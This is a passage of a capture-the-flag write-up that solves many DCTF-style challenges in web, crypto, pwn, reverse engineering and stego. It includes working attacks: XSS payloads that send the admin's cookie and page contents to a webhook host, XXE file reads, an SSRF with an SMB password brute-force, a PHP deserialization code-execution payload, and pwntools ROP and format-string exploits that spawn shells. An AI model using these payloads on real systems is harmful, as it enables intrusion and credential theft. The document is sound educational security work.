We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}`
### pirate-crawlerThere is nothing on the main page.
First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints.
* `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE`
We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry```
We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
`curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf`
`curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py`
There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin```
`josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB
```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf```
There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
```python#!/usr/bin/env python3import requestsimport sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")```
The correct password is `christian`. We can now get the flag!
`http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'`
The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}`
### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.```
The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
`curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test`
A new error message: `That XML string is not well-formed`
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin```
However we cannot leak the flag using base64 encoding.
```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
The error message is `You just tried to exfiltrate using base64? Nice. Try again!`
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```We then get this string
`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳`
We can convert this to UTF-8 and get the flag!
`ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}`
### cross-meThe challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post `<script>` tags we get an error message:
`Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i`
The server is validating our notes using regex. It has quite a few different patterns that it checks:
- `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im```
The best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. `asdasd` -> `asdasd`
After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works:
`<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<`
Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'```
We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin:
`Referer: http://127.0.0.1:1234/index.php?page=post&id=221`
If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**:
```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})```
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'```
FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`
### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting
- /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup
At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.```
If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.```
A new endpoint! `/decode/{text}`.
Almost everything we tried to insert as *text* makes the server respond with
`bool(false)`
If you insert a symbol, you get `File not found`.
I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"}
for c in string.printable: r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip())
print(''.join(valid_chars))```
The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=`
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key:
`APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=`
We also find the decode function used in the Laravel app.
```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }```
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php`
```php<?php
namespace App\Http\Middleware;
use Closure;use Illuminate\Http\Request;
class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // }
public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}```
If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);```
Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==`
We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory.
```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
%```
FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}`
## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`.
I then tried to extract using `stug` as password:
```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}`
## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests
from base64 import b64decodefrom pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return
res = json.loads(res.content) pprint(res)
key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext)
if __name__ == "__main__": main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))```
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes.
I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))```
Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}`
## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
pop_rdi = 0x00000000004008f3main = exe.symbols["main"]
payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}")
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}```
Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`.
### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;")
io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}```
Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload.
## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256
ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return ""
def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc.
By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}`
### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield```
and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`.
At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings.
Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None
def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")```
Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag:
`ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}`
### dumb-discordWe get a file to reverse: `server.cpython-36.pyc`
This is a Python bytecode file that is easy to decompile using *Uncompyle6*
```shelluncompyle6 server.cpython-36.pyc > server.py```
When looking at the code we can see that this is a Discord bot
```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get
def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s): data = obfuscate(s.encode()) return data
intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/')
@client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id))
@client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag```
The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}`
After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay
We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called `DCTFTargetWhyNot`. Lets invite it to our own server

Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes `/s基ay` and `/getflag` from our message.
We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase.

Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`
## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhc